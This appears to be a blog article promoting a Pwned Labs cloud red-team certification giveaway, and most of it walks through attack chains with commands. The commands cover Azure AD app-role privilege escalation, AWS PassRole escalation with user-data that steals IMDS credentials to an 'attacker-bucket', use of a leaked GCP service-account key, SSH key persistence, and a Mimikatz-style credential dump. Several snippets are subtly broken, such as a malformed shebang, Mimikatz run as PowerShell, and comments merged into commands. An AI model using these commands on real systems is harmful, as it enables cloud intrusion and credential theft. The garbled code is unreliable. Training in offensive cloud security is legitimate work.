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Introduction:
As organizations rapidly migrate to multi-cloud environments, the attack surface has expanded exponentially, creating a critical skills gap in offensive cloud security. Pwned Labs, founded by Ian Austin, is addressing this deficit by offering realistic, hands-on training that mirrors real-world attack paths. In a recent LinkedIn announcement, the platform launched a massive giveaway featuring seven high-value certifications, including the flagship Microsoft Cloud Red Team Expert (MCRTE), valued at $4,000. This initiative highlights the industry’s shift from theoretical knowledge to applied tradecraft in AWS, Azure, and GCP exploitation.
Learning Objectives:
- Understand the hierarchy and value of advanced cloud penetration testing certifications (ACRTP, MCRTP, GCRTP, MCRTE).
- Master the specific attack vectors unique to AWS, Azure/M365, and Google Cloud environments.
- Learn to apply hands-on exploitation techniques in realistic, sandboxed cloud labs.
You Should Know:
1. Decoding the Pwned Labs Certification Stack
The giveaway targets three distinct cloud platforms, each with a corresponding certification path. Understanding these distinctions is crucial for any cloud security professional.
- ACRTP (Amazon Cloud Red Team Professional): Focuses on AWS-specific misconfigurations, such as overly permissive IAM roles, S3 bucket policies, and Lambda privilege escalation.
- MCRTP (Microsoft Cloud Red Team Professional): Covers Azure and M365 hybrid environments, emphasizing Entra ID (Azure AD) compromise, application registrations, and Dynamic Group abuse.
- GCRTP (Google Cloud Red Team Professional): Targets GCP and Google Workspace, focusing on service account key leaks, organization policy bypasses, and Cloud Functions exploitation.
- MCRTE (Microsoft Cloud Red Team Expert): The pinnacle certification ($4,000 value) that combines advanced techniques from the pro-level bootcamps, requiring students to chain multiple exploits across hybrid identities and infrastructure.
2. Simulating Azure AD Application Abuse (MCRTP Style)
A core component of Azure red teaming involves abusing over-privileged service principals. Here is a step-by-step simulation of an attack chain taught in these bootcamps.
Step 1: Enumerate Application Permissions
After compromising a user context, an attacker uses the AzureAD module to check for applications with high privileges.
Install the module if not present
Install-Module -Name AzureAD -Force
Connect-AzureAD
List all service principals and their App Roles
Get-AzureADServicePrincipal | ForEach-Object {
$sp = $_
Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId | ForEach-Object {
Write-Output "SP: $($sp.DisplayName) - Role: $($_.PrincipalDisplayName)"
}
}
Step 2: Exploit the Privilege
If an application has the `Application.ReadWrite.All` or `AppRoleAssignment.ReadWrite.All` permission, an attacker can grant themselves high privileges.
Target a specific service principal with high privileges $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Target-HighPrivApp'" Create a new role assignment for our user $user = Get-AzureADUser -ObjectId "[email protected]" $appRole = $sp.AppRoles | Where-Object {$_.Value -eq "admin.role"} New-AzureADUserAppRoleAssignment -ObjectId $user.ObjectId -PrincipalId $user.ObjectId -ResourceId $sp.ObjectId -Id $appRole.Id
This technique allows a standard user to become a Global Administrator if the application has the right permissions, a key lesson from MCRTP training.
- AWS IAM Privilege Escalation via `iam:PassRole` (ACRTP Focus)
In AWS, a common misconfiguration involves allowing a user to pass a specific role to an EC2 instance. If that role has higher privileges, the attacker can compromise it.
Step 1: Identify PassRole Permissions
Using the AWS CLI, check the effective permissions of your current user.
Simulate the policy to see if you can pass roles to EC2 aws iam simulate-principal-policy \ --policy-source-arn arn:aws:iam::123456789012:user/attacker \ --action-names iam:PassRole ec2:RunInstances \ --output table
Step 2: Launch an Instance with a High-Privilege Role
If allowed, launch an EC2 instance while attaching a privileged IAM role (e.g., AdminRole).
Launch instance with the privileged role and user data to steal credentials aws ec2 run-instances \ --image-id ami-0abcdef1234567890 \ --instance-type t2.micro \ --iam-instance-profile Name=AdminRole \ --user-data "!/bin/bash curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole > /tmp/creds.txt aws s3 cp /tmp/creds.txt s3://attacker-bucket/ --region us-east-1" \ --region us-east-1
This command launches an instance, forces it to fetch the credentials of the `AdminRole` from the Instance Metadata Service (IMDS), and exfiltrates them to an attacker-controlled S3 bucket.
4. GCP Service Account Key Exploitation (GCRTP Style)
Google Cloud environments often suffer from exposed service account keys. Here is how an attacker validates and uses a leaked JSON key file.
Step 1: Authenticate with the Leaked Key
Set the service account key for authentication export GOOGLE_APPLICATION_CREDENTIALS="leaked-sa-key.json" Activate the service account gcloud auth activate-service-account --key-file=leaked-sa-key.json
Step 2: Enumerate Permissions
Check what this service account can actually do.
Get the service account email gcloud config list account --format=json Test permissions (e.g., can it list instances or storage?) gcloud compute instances list --project target-project-id gsutil ls
If the service account has the `iam.serviceAccountKeys.create` permission, the attacker can create a key for a higher-privileged service account, effectively pivoting deeper into the GCP organization.
5. Windows & Linux Command Execution for Post-Exploitation
Regardless of the cloud provider, once an instance is compromised, standard OS commands are used to maintain persistence and move laterally.
Linux (AWS EC2 / GCP Compute):
Extract Cloud metadata (IMDSv1 vulnerable environments) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Persistence via SSH key injection echo "ssh-rsa AAAAB3... attacker@key" >> ~/.ssh/authorized_keys Check for cloud-init scripts that may contain secrets cat /var/lib/cloud/instance/user-data.txt
Windows (Azure VM):
Extract Azure Instance Metadata Service (IMDS) token
$response = Invoke-RestMethod -Headers @{"Metadata"="true"} -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
$response | ConvertTo-Json
Dump credentials from memory (Mimikatz style simulation)
Invoke-Command -ScriptBlock {
sekurlsa::logonpasswords
} -Session $session
What Undercode Say:
- Skill Over Certification: The Pwned Labs model emphasizes that a certification is only as valuable as the hands-on skill it validates. The focus on “apply on the job the very next day” shifts the industry away from multiple-choice exams toward practical, live-fire exercises.
- Platform-Specific Tradecraft: The differentiation between ACRTP, MCRTP, and GCRTP underscores that cloud security is not monolithic. Attackers and defenders must understand the unique API structures, identity models, and misconfiguration patterns of each provider.
- Democratization of Red Teaming: By offering a giveaway and a free tier of labs, Pwned Labs is lowering the barrier to entry for cloud security, allowing a wider range of professionals to gain exposure to techniques previously reserved for elite consultancies.
Prediction:
We will see a consolidation of cloud security training into “tradecraft-as-a-service” models within the next 18 months. As cloud-native breaches (like the recent Storm-0558 incidents) become the norm, organizations will prioritize hiring candidates with verified hands-on lab experience over those with traditional paper certifications. Bootcamps that simulate complex, multi-stage attacks across hybrid identities will become the de facto standard for red team hiring assessments.
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